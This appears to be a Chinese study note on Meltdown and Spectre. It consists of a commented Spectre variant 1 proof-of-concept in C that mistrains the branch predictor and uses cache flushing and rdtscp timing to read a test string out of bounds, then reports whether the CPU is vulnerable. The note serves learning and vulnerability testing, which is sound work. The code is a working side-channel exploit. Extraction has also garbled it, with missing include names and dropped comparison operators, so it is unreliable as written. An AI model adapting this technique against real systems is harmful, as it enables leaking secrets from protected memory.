Meltdown和Spectre漏洞学习笔记

/*
    modify by:CSZQ
*/
 
/*配置*/
#define __DEBUG 0 // 调试模式开关，会打开额外输出
#define __TRYTIMES 50 // 每个字符尝试读取次数

/*测试读取的数据*/
#define __MAGICWORDS   "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"     
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) // 测试数据长度
/*
    cache 命中阀值，是一个经验值，不成功9.9可能这里不对，默认值 50 ，可以通过 -t 传参修改
    该数值与内存质量、CPU多项参数有关，是一个经验值，下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值
    取值大致范围：16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
 
 
/*头文件*/
#include 
#include 
#include 
#include 
#pragma optimize("gt",on)
 
 
/*全局变量*/
unsigned int array1_size = 16; // 排除 ASCII 码表前 16 个字符
uint8_t array1[160]      = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // 一个字典
uint8_t array2[256 * 512]; // 256 对应 ASCII 码表
const char *secret = __MAGICWORDS; // 测试读取的数据
int iThreshold = CACHE_HIT_THRESHOLD; // 读取时间阀值
 
 
/*使用 temp 全局变量阻止编译器优化 victim_function()*/
uint8_t temp = 0;
 
void victim_function(size_t x) {
 
    /*
        x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp
        temp 一直为 0
        发生 evil 分支预测：
        array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址
        array2[array1[x] * 512] 在 5 次分支预测期间读取的是 标准ASCII 0 - 127 * 512 所在地址的 array2 数组内容
        其他分支预测：
        array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值
        array2[array1[x] * 512] 在cache中缓存的是 ASCII 码表 1 - 16 号字符
    */
    if (x 
        temp &= array2[array1[x] * 512];
    }
}
 
 
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];                                          // 对应 ASCII 码表
    int tries, i, j, k, mix_i;
    unsigned int junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
 
    for (i = 0; i 256; i++)
        results[i] = 0;
 
    /*每个字符多次尝试获取以增加成功率*/
    for (tries = __TRYTIMES; tries > 0; tries--) {
 
        /*清空 array2 的每 512 字节首地址 cache*/
        for (i = 0; i 256; i++)
            _mm_clflush(&array2[i * 512]); // _mm_clflush：Invalidate and flush the cache line that contains p from all levels of the cache hierarchy
 
        training_x = tries % array1_size;
 
        /*训练 CPU 缓存需要的数据*/
        for (j = 29; j >= 0; j--) {
            _mm_clflush(&array1_size); // 清空array1_size的缓存
 
            /*100 次内存取值用作延时，确保 cache 页全部换出*/
            for (volatile int z = 0; z 100; z++) {}
 
            /*
                在这一步:
                j % 6 =  0 则 x = 0xFFFF0000
                j % 6 != 0 则 x = 0x00000000
                Avoid jumps in case those tip off the branch predictor
            */
            x = ((j % 6) - 1) & ~0xFFFF;
 
            /*
                到这里:
                j % 6 =  0 则 x = 0xFFFFFFFF
                j % 6 != 0 则 x = 0x00000000
            */
            x = (x | (x >> 16));
 
            /*
                最后:
                j % 6 =  0 则 x = malicious_x
                j % 6 != 0 则 x = training_x
            */
            x = training_x ^ (x & (malicious_x ^ training_x));
 
            /*
                调用触发 cache 代码
                共计触发 5 次，j = 24、18、12、6、0时，都会触发分支预测
            */
            victim_function(x);
        }
        /*退出此函数时 cache 中已经缓存了需要越权获取的数据*/
 
        /*
            读取时间。执行顺序轻微混淆防止 stride prediction（某种分支预测方法）
            i 取值 0 - 255 对应 ASCII 码表
        */
        for (i = 0; i 256; i++) {
            /*
                TODO: 贼NB的数学游戏，值得叫 666
                167  0xA7  1010 0111
                13   0x0D  0000 1101
                取值结果为 0 - 255 随机数且不重复
            */
            mix_i = ((i * 167) + 13) & 255;
 
            /*addr 取 arrary2 中 0-255 组的首地址*/
            addr = &array2[mix_i * 512];
 
            /*junk 保存 TSC_AUX 寄存器值，time1 保存当前时间戳*/
            time1 = __rdtscp(&junk);
 
            /*获取数据，用以测试时间*/
            junk = *addr;
 
            /*记录并获取耗时*/
            time2 = __rdtscp(&junk) - time1;
 
            /*判断是否命中，且 mix_i 不能取 1 - 16，因为 1 - 16 在获取时是无效的*/
            if (time2 
                /*cache arrary2中的 0-255 项命中则 +1 分*/
                results[mix_i]++;
        }
 
        /*获取分组中命中率最高的两个分组，分别存储在 j(最高命中),k（次高命中）里*/
        j = k = -1;
        for (i = 0; i 256; i++) {
            if (j 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            }
            else if (k 0 || results[i] >= results[k]) {
                k = i;
            }
        }
 
        /*
            最高命中项命中次数大于 2 倍加 5 的次高命中项次数
            或
            仅仅最高命中项命中 2 次
            则
            退出循环，成功找到命中项
        */
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
 
    /*使用 junk 防止优化输出*/
    results[0] ^= junk;
    value[0] = (uint8_t)j;//最高命中项
    score[0] = results[j];//最高命中项命中次数
    value[1] = (uint8_t)k;//次高命中项
    score[1] = results[k];//次高命中项命中次数
}
 
 
int main(int argc, const char **argv) {
    size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */
    int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
    char *opt, *addr;
    uint8_t value[2];
 
    printf("Provide by CSZQn");
    /*参数解析*/
    if (argc > 1) {
        opt = (char*)&argv[1][1];
        switch (*opt) {
        case 'h':
            printf("-h  helpn-t 设置阀值，建议取值 16 - 176 之间，默认 50n");
            return 0;
        case 't':
            if (argc==2) {
                sscanf(opt + 1, "%d", &iThreshold);
            } 
            else {
                sscanf(argv[2], "%d", &iThreshold);
            }
            break;
        }
    }
 
    for (i = 0; i sizeof(array2); i++)
        array2[i] = 1; /* 避免写时复制 */
 
#if __DEBUG > 0
    printf("Reading %d bytes:n", iLen);
#endif
    i = iLen;
    while (--i >= 0) {
 
#if __DEBUG > 0
        printf("读取地址：%p ", (void*)malicious_x);
#endif
 
        readMemoryByte(malicious_x++, value, score);
        addr = (char*)array1 + malicious_x - 1;
        if (value[0] == *addr) {
            iCount += (score[0] > 2 * score[1]) ? 1 : 0;
        }
         
#if __DEBUG > 0
        /*如果最高命中项命中次数大于等于 2 倍的次高命中项，认为分支预测成功*/
        printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
        printf("value:0x%02X char=%c counts=%d ", value[0],
            ((value[0] > 31 && value[0] 127) ? (char)value[0] : '?'), score[0]);
        if (score[1] > 0)
            printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] 127) ? (char)value[0] : '?'), score[1]);
        printf("n");
#endif
    }
    /*命中次数超过 1/5 认为存在BUG，过低有可能是巧合或阀值需要调整*/
    printf("%srn", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG！！! : "--->不存在BUG);
    printf("%d 阀值下命中率为:%d / %drn", iThreshold, iCount, iLen);
    printf("按任意键退出程序...rn");
    getchar();
 
    return (0);
}